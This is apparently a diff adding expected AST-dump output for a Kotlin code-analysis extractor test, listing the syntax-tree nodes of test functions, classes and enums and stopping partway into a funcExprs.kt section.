+#  119|             0: [StringLiteral] string " lit
+#  120|         102: [LocalVariableDeclStmt] var ...;
+#  120|           1: [LocalVariableDeclExpr] b6
+#  120|             0: [InstanceOfExpr] ...instanceof...
+#  120|               0: [VarAccess] i1
+#  120|               1: [TypeAccess] int
+#  121|         103: [LocalVariableDeclStmt] var ...;
+#  121|           1: [LocalVariableDeclExpr] b7
+#  121|             0: [NotInstanceOfExpr] ... !is ...
+#  121|               0: [VarAccess] i1
+#  121|               1: [TypeAccess] int
+#  122|         104: [LocalVariableDeclStmt] var ...;
+#  122|           1: [LocalVariableDeclExpr] b8
+#  122|             0: [CastExpr] (...)...
+#  122|               0: [TypeAccess] boolean
+#  122|               1: [VarAccess] b7
+#  123|         105: [LocalVariableDeclStmt] var ...;
+#  123|           1: [LocalVariableDeclExpr] str1
+#  123|             0: [StringLiteral] string lit
+#  124|         106: [LocalVariableDeclStmt] var ...;
+#  124|           1: [LocalVariableDeclExpr] str2
+#  124|             0: [StringLiteral] string lit
+#  125|         107: [LocalVariableDeclStmt] var ...;
+#  125|           1: [LocalVariableDeclExpr] str3
+#  125|             0: [NullLiteral] null
+#  126|         108: [LocalVariableDeclStmt] var ...;
+#  126|           1: [LocalVariableDeclExpr] str4
+#  126|             0: [StringTemplateExpr] "..."
+#  126|               0: [StringLiteral] foo 
+#  126|               1: [VarAccess] str1
+#  126|               2: [StringLiteral]  bar 
+#  126|               3: [VarAccess] str2
+#  126|               4: [StringLiteral]  baz
+#  127|         109: [LocalVariableDeclStmt] var ...;
+#  127|           1: [LocalVariableDeclExpr] str5
+#  127|             0: [StringTemplateExpr] "..."
+#  127|               0: [StringLiteral] foo 
+#  127|               1: [AddExpr] ... + ...
+#  127|                 0: [VarAccess] str1
+#  127|                 1: [VarAccess] str2
+#  127|               2: [StringLiteral]  bar 
+#  127|               3: [AddExpr] ... + ...
+#  127|                 0: [VarAccess] str2
+#  127|                 1: [VarAccess] str1
+#  127|               4: [StringLiteral]  baz
+#  128|         110: [LocalVariableDeclStmt] var ...;
+#  128|           1: [LocalVariableDeclExpr] str6
+#  128|             0: [AddExpr] ... + ...
+#  128|               0: [VarAccess] str1
+#  128|               1: [VarAccess] str2
+#  130|         111: [LocalVariableDeclStmt] var ...;
+#  130|           1: [LocalVariableDeclExpr] variable
+#  130|             0: [IntegerLiteral] 10
+#  131|         112: [WhileStmt] while (...)
+#  131|           0: [GTExpr] ... > ...
+#  131|             0: [VarAccess] variable
+#  131|             1: [IntegerLiteral] 0
+#  131|           1: [BlockStmt] { ... }
+#  132|             0: [ExprStmt] <Expr>;
+#  132|               0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#  132|                 0: [TypeAccess] Unit
+#  132|                 1: [StmtExpr] <Stmt>
+#  132|                   0: [BlockStmt] { ... }
+#  132|                     0: [LocalVariableDeclStmt] var ...;
+#  132|                       1: [LocalVariableDeclExpr] tmp0
+#  132|                         0: [VarAccess] variable
+#  132|                     1: [ExprStmt] <Expr>;
+#  132|                       0: [AssignExpr] ...=...
+#  132|                         0: [VarAccess] variable
+#  132|                         1: [MethodAccess] dec(...)
+#  132|                           -1: [VarAccess] tmp0
+#  132|                     2: [ExprStmt] <Expr>;
+#  132|                       0: [VarAccess] tmp0
+#  135|         113: [ReturnStmt] return ...
+#  135|           0: [AddExpr] ... + ...
+#  135|             0: [IntegerLiteral] 123
+#  135|             1: [IntegerLiteral] 456
+#  138|     2: [Method] getClass
+#  138|       3: [TypeAccess] Unit
+#  138|       5: [BlockStmt] { ... }
+#  139|         0: [LocalVariableDeclStmt] var ...;
+#  139|           1: [LocalVariableDeclExpr] d
+#  139|             0: [ClassExpr] ::class
+#  139|               0: [BooleanLiteral] true
+#  150|     3: [Method] typeTests
+#  150|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  150|         0: [Parameter] x
+#  150|           0: [TypeAccess] Root
+#  150|         1: [Parameter] y
+#  150|           0: [TypeAccess] Subclass1
+#  150|       5: [BlockStmt] { ... }
+#  151|         0: [ExprStmt] <Expr>;
+#  151|           0: [WhenExpr] when ...
+#  151|             0: [WhenBranch] ... -> ...
+#  151|               0: [InstanceOfExpr] ...instanceof...
+#  151|                 0: [VarAccess] x
+#  151|                 1: [TypeAccess] Subclass1
+#  151|               1: [BlockStmt] { ... }
+#  152|                 0: [LocalVariableDeclStmt] var ...;
+#  152|                   1: [LocalVariableDeclExpr] x1
+#  152|                     0: [ImplicitCastExpr] <implicit cast>
+#  152|                       0: [TypeAccess] Subclass1
+#  152|                       1: [VarAccess] x
+#  154|         1: [LocalVariableDeclStmt] var ...;
+#  154|           1: [LocalVariableDeclExpr] y1
+#  154|             0: [WhenExpr] when ...
+#  154|               0: [WhenBranch] ... -> ...
+#  154|                 0: [InstanceOfExpr] ...instanceof...
+#  154|                   0: [VarAccess] x
+#  154|                   1: [TypeAccess] Subclass1
+#  154|                 1: [ExprStmt] <Expr>;
+#  154|                   0: [ImplicitCastExpr] <implicit cast>
+#  154|                     0: [TypeAccess] Subclass1
+#  154|                     1: [StmtExpr] <Stmt>
+#  154|                       0: [BlockStmt] { ... }
+#  154|                         0: [ExprStmt] <Expr>;
+#  154|                           0: [VarAccess] x
+#  154|               1: [WhenBranch] ... -> ...
+#  154|                 0: [BooleanLiteral] true
+#  154|                 1: [BlockStmt] { ... }
+#  154|                   0: [ExprStmt] <Expr>;
+#  154|                     0: [VarAccess] y
+#  155|         2: [LocalVariableDeclStmt] var ...;
+#  155|           1: [LocalVariableDeclExpr] q
+#  155|             0: [IntegerLiteral] 1
+#  156|         3: [ExprStmt] <Expr>;
+#  156|           0: [WhenExpr] when ...
+#  156|             0: [WhenBranch] ... -> ...
+#  156|               0: [InstanceOfExpr] ...instanceof...
+#  156|                 0: [VarAccess] x
+#  156|                 1: [TypeAccess] Subclass1
+#  156|               1: [BlockStmt] { ... }
+#  156|                 0: [ExprStmt] <Expr>;
+#  156|                   0: [AssignExpr] ...=...
+#  156|                     0: [VarAccess] q
+#  156|                     1: [IntegerLiteral] 2
+#  156|             1: [WhenBranch] ... -> ...
+#  156|               0: [BooleanLiteral] true
+#  156|               1: [BlockStmt] { ... }
+#  156|                 0: [ExprStmt] <Expr>;
+#  156|                   0: [AssignExpr] ...=...
+#  156|                     0: [VarAccess] q
+#  156|                     1: [IntegerLiteral] 3
+#  159|     4: [Method] foo
+#  159|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  159|         0: [Parameter] p
+#  159|           0: [TypeAccess] Polygon
+#  159|       5: [BlockStmt] { ... }
+#  160|         0: [LocalVariableDeclStmt] var ...;
+#  160|           1: [LocalVariableDeclExpr] r
+#  160|             0: [MethodAccess] getBounds(...)
+#  160|               -1: [VarAccess] p
+#  161|         1: [ExprStmt] <Expr>;
+#  161|           0: [WhenExpr] when ...
+#  161|             0: [WhenBranch] ... -> ...
+#  161|               0: [ValueNEExpr] ... (value not-equals) ...
+#  161|                 0: [VarAccess] r
+#  161|                 1: [NullLiteral] null
+#  161|               1: [BlockStmt] { ... }
+#  162|                 0: [LocalVariableDeclStmt] var ...;
+#  162|                   1: [LocalVariableDeclExpr] r2
+#  162|                     0: [ImplicitNotNullExpr] <implicit not null>
+#  162|                       0: [TypeAccess] Rectangle
+#  162|                       1: [VarAccess] r
+#  163|                 1: [LocalVariableDeclStmt] var ...;
+#  163|                   1: [LocalVariableDeclExpr] height
+#  163|                     0: [VarAccess] r2.height
+#  163|                       -1: [VarAccess] r2
+#  164|                 2: [ExprStmt] <Expr>;
+#  164|                   0: [AssignExpr] ...=...
+#  164|                     0: [VarAccess] r2.height
+#  164|                       -1: [VarAccess] r2
+#  164|                     1: [IntegerLiteral] 3
+#  178|     5: [Method] enums
+#  178|       3: [TypeAccess] Unit
+#  178|       5: [BlockStmt] { ... }
+#  179|         0: [LocalVariableDeclStmt] var ...;
+#  179|           1: [LocalVariableDeclExpr] south
+#  179|             0: [VarAccess] Direction.SOUTH
+#  179|               -1: [TypeAccess] Direction
+#  180|         1: [LocalVariableDeclStmt] var ...;
+#  180|           1: [LocalVariableDeclExpr] green
+#  180|             0: [VarAccess] Color.GREEN
+#  180|               -1: [TypeAccess] Color
+#  195|     6: [Method] notNullAssertion
+#  195|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  195|         0: [Parameter] x
+#  195|           0: [TypeAccess] Object
+#  195|       5: [BlockStmt] { ... }
+#  196|         0: [LocalVariableDeclStmt] var ...;
+#  196|           1: [LocalVariableDeclExpr] y
+#  196|             0: [NotNullExpr] ...!!
+#  196|               0: [VarAccess] x
+#  214|     7: [Method] todo
+#  214|       3: [TypeAccess] Unit
+#  214|       5: [BlockStmt] { ... }
+#  215|         0: [ExprStmt] <Expr>;
+#  215|           0: [MethodAccess] TODO(...)
+#  215|             -1: [TypeAccess] StandardKt
+#  219|     8: [Method] fnClassRef
+#  219|       3: [TypeAccess] Unit
+#  219|       5: [BlockStmt] { ... }
+#  220|         0: [LocalVariableDeclStmt] var ...;
+#  220|           1: [LocalVariableDeclExpr] x
+#  220|             0: [TypeLiteral] SomeClass1.class
+#  220|               0: [TypeAccess] SomeClass1
+#  223|     9: [Method] equalityTests
+#  223|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  223|         0: [Parameter] notNullPrimitive
+#  223|           0: [TypeAccess] int
+#  223|         1: [Parameter] nullablePrimitive
+#  223|           0: [TypeAccess] Integer
+#  223|         2: [Parameter] notNullReftype
+#  223|           0: [TypeAccess] String
+#  223|         3: [Parameter] nullableReftype
+#  223|           0: [TypeAccess] String
+#  223|       5: [BlockStmt] { ... }
+#  224|         0: [LocalVariableDeclStmt] var ...;
+#  224|           1: [LocalVariableDeclExpr] b1
+#  224|             0: [ValueEQExpr] ... (value equals) ...
+#  224|               0: [VarAccess] notNullPrimitive
+#  224|               1: [VarAccess] notNullPrimitive
+#  225|         1: [LocalVariableDeclStmt] var ...;
+#  225|           1: [LocalVariableDeclExpr] b2
+#  225|             0: [ValueEQExpr] ... (value equals) ...
+#  225|               0: [VarAccess] notNullPrimitive
+#  225|               1: [VarAccess] nullablePrimitive
+#  226|         2: [LocalVariableDeclStmt] var ...;
+#  226|           1: [LocalVariableDeclExpr] b3
+#  226|             0: [ValueEQExpr] ... (value equals) ...
+#  226|               0: [VarAccess] nullablePrimitive
+#  226|               1: [VarAccess] nullablePrimitive
+#  227|         3: [LocalVariableDeclStmt] var ...;
+#  227|           1: [LocalVariableDeclExpr] b4
+#  227|             0: [ValueEQExpr] ... (value equals) ...
+#  227|               0: [VarAccess] notNullReftype
+#  227|               1: [VarAccess] notNullReftype
+#  228|         4: [LocalVariableDeclStmt] var ...;
+#  228|           1: [LocalVariableDeclExpr] b5
+#  228|             0: [ValueEQExpr] ... (value equals) ...
+#  228|               0: [VarAccess] notNullReftype
+#  228|               1: [VarAccess] nullableReftype
+#  229|         5: [LocalVariableDeclStmt] var ...;
+#  229|           1: [LocalVariableDeclExpr] b6
+#  229|             0: [ValueEQExpr] ... (value equals) ...
+#  229|               0: [VarAccess] nullableReftype
+#  229|               1: [VarAccess] nullableReftype
+#  230|         6: [LocalVariableDeclStmt] var ...;
+#  230|           1: [LocalVariableDeclExpr] b7
+#  230|             0: [ValueNEExpr] ... (value not-equals) ...
+#  230|               0: [VarAccess] notNullPrimitive
+#  230|               1: [VarAccess] notNullPrimitive
+#  231|         7: [LocalVariableDeclStmt] var ...;
+#  231|           1: [LocalVariableDeclExpr] b8
+#  231|             0: [ValueNEExpr] ... (value not-equals) ...
+#  231|               0: [VarAccess] notNullPrimitive
+#  231|               1: [VarAccess] nullablePrimitive
+#  232|         8: [LocalVariableDeclStmt] var ...;
+#  232|           1: [LocalVariableDeclExpr] b9
+#  232|             0: [ValueNEExpr] ... (value not-equals) ...
+#  232|               0: [VarAccess] nullablePrimitive
+#  232|               1: [VarAccess] nullablePrimitive
+#  233|         9: [LocalVariableDeclStmt] var ...;
+#  233|           1: [LocalVariableDeclExpr] b10
+#  233|             0: [ValueNEExpr] ... (value not-equals) ...
+#  233|               0: [VarAccess] notNullReftype
+#  233|               1: [VarAccess] notNullReftype
+#  234|         10: [LocalVariableDeclStmt] var ...;
+#  234|           1: [LocalVariableDeclExpr] b11
+#  234|             0: [ValueNEExpr] ... (value not-equals) ...
+#  234|               0: [VarAccess] notNullReftype
+#  234|               1: [VarAccess] nullableReftype
+#  235|         11: [LocalVariableDeclStmt] var ...;
+#  235|           1: [LocalVariableDeclExpr] b12
+#  235|             0: [ValueNEExpr] ... (value not-equals) ...
+#  235|               0: [VarAccess] nullableReftype
+#  235|               1: [VarAccess] nullableReftype
+#  236|         12: [LocalVariableDeclStmt] var ...;
+#  236|           1: [LocalVariableDeclExpr] b13
+#  236|             0: [ValueEQExpr] ... (value equals) ...
+#  236|               0: [VarAccess] notNullPrimitive
+#  236|               1: [NullLiteral] null
+#  237|         13: [LocalVariableDeclStmt] var ...;
+#  237|           1: [LocalVariableDeclExpr] b14
+#  237|             0: [ValueEQExpr] ... (value equals) ...
+#  237|               0: [VarAccess] nullablePrimitive
+#  237|               1: [NullLiteral] null
+#  238|         14: [LocalVariableDeclStmt] var ...;
+#  238|           1: [LocalVariableDeclExpr] b15
+#  238|             0: [ValueEQExpr] ... (value equals) ...
+#  238|               0: [VarAccess] notNullReftype
+#  238|               1: [NullLiteral] null
+#  239|         15: [LocalVariableDeclStmt] var ...;
+#  239|           1: [LocalVariableDeclExpr] b16
+#  239|             0: [ValueEQExpr] ... (value equals) ...
+#  239|               0: [VarAccess] nullableReftype
+#  239|               1: [NullLiteral] null
+#  240|         16: [LocalVariableDeclStmt] var ...;
+#  240|           1: [LocalVariableDeclExpr] b17
+#  240|             0: [ValueNEExpr] ... (value not-equals) ...
+#  240|               0: [VarAccess] notNullPrimitive
+#  240|               1: [NullLiteral] null
+#  241|         17: [LocalVariableDeclStmt] var ...;
+#  241|           1: [LocalVariableDeclExpr] b18
+#  241|             0: [ValueNEExpr] ... (value not-equals) ...
+#  241|               0: [VarAccess] nullablePrimitive
+#  241|               1: [NullLiteral] null
+#  242|         18: [LocalVariableDeclStmt] var ...;
+#  242|           1: [LocalVariableDeclExpr] b19
+#  242|             0: [ValueNEExpr] ... (value not-equals) ...
+#  242|               0: [VarAccess] notNullReftype
+#  242|               1: [NullLiteral] null
+#  243|         19: [LocalVariableDeclStmt] var ...;
+#  243|           1: [LocalVariableDeclExpr] b20
+#  243|             0: [ValueNEExpr] ... (value not-equals) ...
+#  243|               0: [VarAccess] nullableReftype
+#  243|               1: [NullLiteral] null
+#  246|     10: [Method] mulOperators
+#  246|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  246|         0: [Parameter] x
+#  246|           0: [TypeAccess] int
+#  246|         1: [Parameter] y
+#  246|           0: [TypeAccess] int
+#  247|         2: [Parameter] byx
+#  247|           0: [TypeAccess] byte
+#  247|         3: [Parameter] byy
+#  247|           0: [TypeAccess] byte
+#  248|         4: [Parameter] sx
+#  248|           0: [TypeAccess] short
+#  248|         5: [Parameter] sy
+#  248|           0: [TypeAccess] short
+#  249|         6: [Parameter] lx
+#  249|           0: [TypeAccess] long
+#  249|         7: [Parameter] ly
+#  249|           0: [TypeAccess] long
+#  250|         8: [Parameter] dx
+#  250|           0: [TypeAccess] double
+#  250|         9: [Parameter] dy
+#  250|           0: [TypeAccess] double
+#  251|         10: [Parameter] fx
+#  251|           0: [TypeAccess] float
+#  251|         11: [Parameter] fy
+#  251|           0: [TypeAccess] float
+#  251|       5: [BlockStmt] { ... }
+#  253|         0: [LocalVariableDeclStmt] var ...;
+#  253|           1: [LocalVariableDeclExpr] i
+#  253|             0: [MulExpr] ... * ...
+#  253|               0: [VarAccess] x
+#  253|               1: [VarAccess] y
+#  254|         1: [LocalVariableDeclStmt] var ...;
+#  254|           1: [LocalVariableDeclExpr] b
+#  254|             0: [MulExpr] ... * ...
+#  254|               0: [VarAccess] byx
+#  254|               1: [VarAccess] byy
+#  255|         2: [LocalVariableDeclStmt] var ...;
+#  255|           1: [LocalVariableDeclExpr] l
+#  255|             0: [MulExpr] ... * ...
+#  255|               0: [VarAccess] lx
+#  255|               1: [VarAccess] ly
+#  256|         3: [LocalVariableDeclStmt] var ...;
+#  256|           1: [LocalVariableDeclExpr] d
+#  256|             0: [MulExpr] ... * ...
+#  256|               0: [VarAccess] dx
+#  256|               1: [VarAccess] dy
+#  257|         4: [LocalVariableDeclStmt] var ...;
+#  257|           1: [LocalVariableDeclExpr] f
+#  257|             0: [MulExpr] ... * ...
+#  257|               0: [VarAccess] fx
+#  257|               1: [VarAccess] fy
+#  261|     11: [Method] inPlaceOperators
+#  261|       3: [TypeAccess] Unit
+#  261|       5: [BlockStmt] { ... }
+#  263|         0: [LocalVariableDeclStmt] var ...;
+#  263|           1: [LocalVariableDeclExpr] updated
+#  263|             0: [IntegerLiteral] 0
+#  264|         1: [ExprStmt] <Expr>;
+#  264|           0: [AssignAddExpr] ...+=...
+#  264|             0: [VarAccess] updated
+#  264|             1: [IntegerLiteral] 1
+#  265|         2: [ExprStmt] <Expr>;
+#  265|           0: [AssignSubExpr] ...-=...
+#  265|             0: [VarAccess] updated
+#  265|             1: [IntegerLiteral] 1
+#  266|         3: [ExprStmt] <Expr>;
+#  266|           0: [AssignMulExpr] ...*=...
+#  266|             0: [VarAccess] updated
+#  266|             1: [IntegerLiteral] 1
+#  267|         4: [ExprStmt] <Expr>;
+#  267|           0: [AssignDivExpr] .../=...
+#  267|             0: [VarAccess] updated
+#  267|             1: [IntegerLiteral] 1
+#  268|         5: [ExprStmt] <Expr>;
+#  268|           0: [AssignRemExpr] ...%=...
+#  268|             0: [VarAccess] updated
+#  268|             1: [IntegerLiteral] 1
+#  142|   2: [Class] C
+#  142|     1: [Constructor] C
+#-----|       4: (Parameters)
+#  142|         0: [Parameter] n
+#  142|           0: [TypeAccess] int
+#  142|       5: [BlockStmt] { ... }
+#  142|         0: [SuperConstructorInvocationStmt] super(...)
+#  142|         1: [BlockStmt] { ... }
+#  142|           0: [ExprStmt] <Expr>;
+#  142|             0: [KtInitializerAssignExpr] ...=...
+#  142|               0: [VarAccess] n
+#  142|     2: [Method] getN
+#  142|       3: [TypeAccess] int
+#  142|       5: [BlockStmt] { ... }
+#  142|         0: [ReturnStmt] return ...
+#  142|           0: [VarAccess] this.n
+#  142|             -1: [ThisAccess] this
+#  142|     2: [FieldDeclaration] int n;
+#  142|       -1: [TypeAccess] int
+#  142|       0: [VarAccess] n
+#  143|     4: [Method] foo
+#  143|       3: [TypeAccess] C
+#  143|       5: [BlockStmt] { ... }
+#  143|         0: [ReturnStmt] return ...
+#  143|           0: [ClassInstanceExpr] new C(...)
+#  143|             -3: [TypeAccess] C
+#  143|             0: [IntegerLiteral] 42
+#  146|   3: [Class] Root
+#  146|     1: [Constructor] Root
+#  146|       5: [BlockStmt] { ... }
+#  146|         0: [SuperConstructorInvocationStmt] super(...)
+#  146|         1: [BlockStmt] { ... }
+#  147|   4: [Class] Subclass1
+#  147|     1: [Constructor] Subclass1
+#  147|       5: [BlockStmt] { ... }
+#  147|         0: [SuperConstructorInvocationStmt] super(...)
+#  147|         1: [BlockStmt] { ... }
+#  148|   5: [Class] Subclass2
+#  148|     1: [Constructor] Subclass2
+#  148|       5: [BlockStmt] { ... }
+#  148|         0: [SuperConstructorInvocationStmt] super(...)
+#  148|         1: [BlockStmt] { ... }
+#  168|   6: [Class] Direction
+#    0|     1: [Method] values
+#    0|       3: [TypeAccess] Direction[]
+#    0|         0: [TypeAccess] Direction
+#    0|     1: [Method] valueOf
+#    0|       3: [TypeAccess] Direction
+#-----|       4: (Parameters)
+#    0|         0: [Parameter] value
+#    0|           0: [TypeAccess] String
+#  168|     4: [Constructor] Direction
+#  168|       5: [BlockStmt] { ... }
+#  168|         0: [ExprStmt] <Expr>;
+#  168|           0: [ClassInstanceExpr] new Enum(...)
+#  168|             -3: [TypeAccess] Unit
+#  168|               0: [TypeAccess] Direction
+#  168|         1: [BlockStmt] { ... }
+#  169|     5: [FieldDeclaration] Direction NORTH;
+#  169|       -1: [TypeAccess] Direction
+#  169|       0: [ClassInstanceExpr] new Direction(...)
+#  169|         -3: [TypeAccess] Direction
+#  169|     6: [FieldDeclaration] Direction SOUTH;
+#  169|       -1: [TypeAccess] Direction
+#  169|       0: [ClassInstanceExpr] new Direction(...)
+#  169|         -3: [TypeAccess] Direction
+#  169|     7: [FieldDeclaration] Direction WEST;
+#  169|       -1: [TypeAccess] Direction
+#  169|       0: [ClassInstanceExpr] new Direction(...)
+#  169|         -3: [TypeAccess] Direction
+#  169|     8: [FieldDeclaration] Direction EAST;
+#  169|       -1: [TypeAccess] Direction
+#  169|       0: [ClassInstanceExpr] new Direction(...)
+#  169|         -3: [TypeAccess] Direction
+#  172|   7: [Class] Color
+#    0|     1: [Method] values
+#    0|       3: [TypeAccess] Color[]
+#    0|         0: [TypeAccess] Color
+#    0|     1: [Method] valueOf
+#    0|       3: [TypeAccess] Color
+#-----|       4: (Parameters)
+#    0|         0: [Parameter] value
+#    0|           0: [TypeAccess] String
+#  172|     4: [Constructor] Color
+#-----|       4: (Parameters)
+#  172|         0: [Parameter] rgb
+#  172|           0: [TypeAccess] int
+#  172|       5: [BlockStmt] { ... }
+#  172|         0: [ExprStmt] <Expr>;
+#  172|           0: [ClassInstanceExpr] new Enum(...)
+#  172|             -3: [TypeAccess] Unit
+#  172|               0: [TypeAccess] Color
+#  172|         1: [BlockStmt] { ... }
+#  172|           0: [ExprStmt] <Expr>;
+#  172|             0: [KtInitializerAssignExpr] ...=...
+#  172|               0: [VarAccess] rgb
+#  172|     5: [Method] getRgb
+#  172|       3: [TypeAccess] int
+#  172|       5: [BlockStmt] { ... }
+#  172|         0: [ReturnStmt] return ...
+#  172|           0: [VarAccess] this.rgb
+#  172|             -1: [ThisAccess] this
+#  172|     5: [FieldDeclaration] int rgb;
+#  172|       -1: [TypeAccess] int
+#  172|       0: [VarAccess] rgb
+#  173|     7: [FieldDeclaration] Color RED;
+#  173|       -1: [TypeAccess] Color
+#  173|       0: [ClassInstanceExpr] new Color(...)
+#  173|         -3: [TypeAccess] Color
+#  173|         0: [IntegerLiteral] 16711680
+#  174|     8: [FieldDeclaration] Color GREEN;
+#  174|       -1: [TypeAccess] Color
+#  174|       0: [ClassInstanceExpr] new Color(...)
+#  174|         -3: [TypeAccess] Color
+#  174|         0: [IntegerLiteral] 65280
+#  175|     9: [FieldDeclaration] Color BLUE;
+#  175|       -1: [TypeAccess] Color
+#  175|       0: [ClassInstanceExpr] new Color(...)
+#  175|         -3: [TypeAccess] Color
+#  175|         0: [IntegerLiteral] 255
+#  183|   8: [Interface] Interface1
+#  185|   9: [Class] Class1
+#  185|     1: [Constructor] Class1
+#  185|       5: [BlockStmt] { ... }
+#  185|         0: [SuperConstructorInvocationStmt] super(...)
+#  185|         1: [BlockStmt] { ... }
+#  186|           0: [ExprStmt] <Expr>;
+#  186|             0: [KtInitializerAssignExpr] ...=...
+#  186|               0: [VarAccess] a1
+#  186|     2: [Method] getA1
+#  186|       3: [TypeAccess] int
+#  186|       5: [BlockStmt] { ... }
+#  186|         0: [ReturnStmt] return ...
+#  186|           0: [VarAccess] this.a1
+#  186|             -1: [ThisAccess] this
+#  186|     2: [FieldDeclaration] int a1;
+#  186|       -1: [TypeAccess] int
+#  186|       0: [IntegerLiteral] 1
+#  187|     4: [Method] getObject
+#  187|       3: [TypeAccess] Object
+#  187|       5: [BlockStmt] { ... }
+#  188|         0: [LocalVariableDeclStmt] var ...;
+#  188|           1: [LocalVariableDeclExpr] a2
+#  188|             0: [IntegerLiteral] 2
+#  189|         1: [ReturnStmt] return ...
+#  189|           0: [StmtExpr] <Stmt>
+#  189|             0: [BlockStmt] { ... }
+#  189|               0: [LocalTypeDeclStmt] class ...
+#  189|                 0: [AnonymousClass,LocalClass] new Interface1(...) { ... }
+#  189|                   1: [Constructor] 
+#  189|                     5: [BlockStmt] { ... }
+#  189|                       0: [SuperConstructorInvocationStmt] super(...)
+#  189|                       1: [BlockStmt] { ... }
+#  190|                         0: [ExprStmt] <Expr>;
+#  190|                           0: [KtInitializerAssignExpr] ...=...
+#  190|                             0: [VarAccess] a3
+#  190|                   2: [Method] getA3
+#  190|                     3: [TypeAccess] String
+#  190|                     5: [BlockStmt] { ... }
+#  190|                       0: [ReturnStmt] return ...
+#  190|                         0: [VarAccess] this.a3
+#  190|                           -1: [ThisAccess] this
+#  190|                   2: [FieldDeclaration] String a3;
+#  190|                     -1: [TypeAccess] String
+#  190|                     0: [MethodAccess] toString(...)
+#  190|                       -1: [AddExpr] ... + ...
+#  190|                         0: [MethodAccess] getA1(...)
+#  190|                           -1: [ThisAccess] this
+#  190|                         1: [VarAccess] a2
+#  189|               1: [ExprStmt] <Expr>;
+#  189|                 0: [ClassInstanceExpr] new (...)
+#  189|                   -3: [TypeAccess] Interface1
+#  199|   10: [Class] Class2
+#  199|     1: [Constructor] Class2
+#  199|       5: [BlockStmt] { ... }
+#  199|         0: [SuperConstructorInvocationStmt] super(...)
+#  199|         1: [BlockStmt] { ... }
+#  200|     2: [Method] x
+#  200|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  200|         0: [Parameter] aa
+#  200|           0: [TypeAccess] Object
+#  200|         1: [Parameter] s
+#  200|           0: [TypeAccess] String
+#  200|       5: [BlockStmt] { ... }
+#  202|         0: [LocalVariableDeclStmt] var ...;
+#  202|           1: [LocalVariableDeclExpr] a
+#  202|             0: [MethodAccess] valueOf(...)
+#  202|               -1: [TypeAccess] String
+#  202|               0: [VarAccess] aa
+#  203|         1: [LocalVariableDeclStmt] var ...;
+#  203|           1: [LocalVariableDeclExpr] b0
+#  203|             0: [MethodAccess] stringPlus(...)
+#  203|               -1: [TypeAccess] Intrinsics
+#  203|               0: [VarAccess] s
+#  203|               1: [IntegerLiteral] 5
+#  204|         2: [LocalVariableDeclStmt] var ...;
+#  204|           1: [LocalVariableDeclExpr] b1
+#  204|             0: [AddExpr] ... + ...
+#  204|               0: [VarAccess] s
+#  204|               1: [IntegerLiteral] 5
+#  205|         3: [LocalVariableDeclStmt] var ...;
+#  205|           1: [LocalVariableDeclExpr] b2
+#  205|             0: [MethodAccess] plus(...)
+#  205|               -1: [NotNullExpr] ...!!
+#  205|                 0: [VarAccess] s
+#  205|               0: [IntegerLiteral] 5
+#  206|         4: [LocalVariableDeclStmt] var ...;
+#  206|           1: [LocalVariableDeclExpr] b3
+#  206|             0: [AddExpr] ... + ...
+#  206|               0: [NotNullExpr] ...!!
+#  206|                 0: [VarAccess] s
+#  206|               1: [IntegerLiteral] 5
+#  207|         5: [LocalVariableDeclStmt] var ...;
+#  207|           1: [LocalVariableDeclExpr] c0
+#  207|             0: [MethodAccess] values(...)
+#  207|               -1: [TypeAccess] Color
+#  208|         6: [LocalVariableDeclStmt] var ...;
+#  208|           1: [LocalVariableDeclExpr] c1
+#  208|             0: [MethodAccess] values(...)
+#  208|               -1: [TypeAccess] Color
+#  209|         7: [LocalVariableDeclStmt] var ...;
+#  209|           1: [LocalVariableDeclExpr] d0
+#  209|             0: [MethodAccess] valueOf(...)
+#  209|               -1: [TypeAccess] Color
+#  209|               0: [StringLiteral] GREEN
+#  210|         8: [LocalVariableDeclStmt] var ...;
+#  210|           1: [LocalVariableDeclExpr] d1
+#  210|             0: [MethodAccess] valueOf(...)
+#  210|               -1: [TypeAccess] Color
+#  210|               0: [StringLiteral] GREEN
+#  218|   11: [Class] SomeClass1
+#  218|     1: [Constructor] SomeClass1
+#  218|       5: [BlockStmt] { ... }
+#  218|         0: [SuperConstructorInvocationStmt] super(...)
+#  218|         1: [BlockStmt] { ... }
+funcExprs.kt:
+#    0| [CompilationUnit] funcExprs
+#    0|   1: [Class] FuncExprsKt
+#    1|     1: [Method] functionExpression0a
+#    1|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] f
+#    1|           0: [TypeAccess] Function0<Integer>
+#    1|             0: [TypeAccess] Integer
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [ExprStmt] <Expr>;
+#    1|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    1|             0: [TypeAccess] Unit
+#    1|             1: [MethodAccess] invoke(...)
+#    1|               -1: [VarAccess] f
+#    2|     2: [Method] functionExpression0b
+#    2|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    2|         0: [Parameter] f
+#    2|           0: [TypeAccess] Function0<Object>
+#    2|             0: [TypeAccess] Object
+#    2|       5: [BlockStmt] { ... }
+#    2|         0: [ExprStmt] <Expr>;
+#    2|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    2|             0: [TypeAccess] Unit
+#    2|             1: [MethodAccess] invoke(...)
+#    2|               -1: [VarAccess] f
+#    3|     3: [Method] functionExpression0c
+#    3|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    3|         0: [Parameter] f
+#    3|           0: [TypeAccess] Function0<Object>
+#    3|             0: [TypeAccess] Object
+#    3|       5: [BlockStmt] { ... }
+#    3|         0: [ExprStmt] <Expr>;
+#    3|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    3|             0: [TypeAccess] Unit
+#    3|             1: [MethodAccess] invoke(...)
+#    3|               -1: [VarAccess] f
+#    4|     4: [Method] functionExpression1a
+#    4|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    4|         0: [Parameter] x
+#    4|           0: [TypeAccess] int
+#    4|         1: [Parameter] f
+#    4|           0: [TypeAccess] Function1<Integer,Integer>
+#    4|             0: [TypeAccess] Integer
+#    4|             1: [TypeAccess] Integer
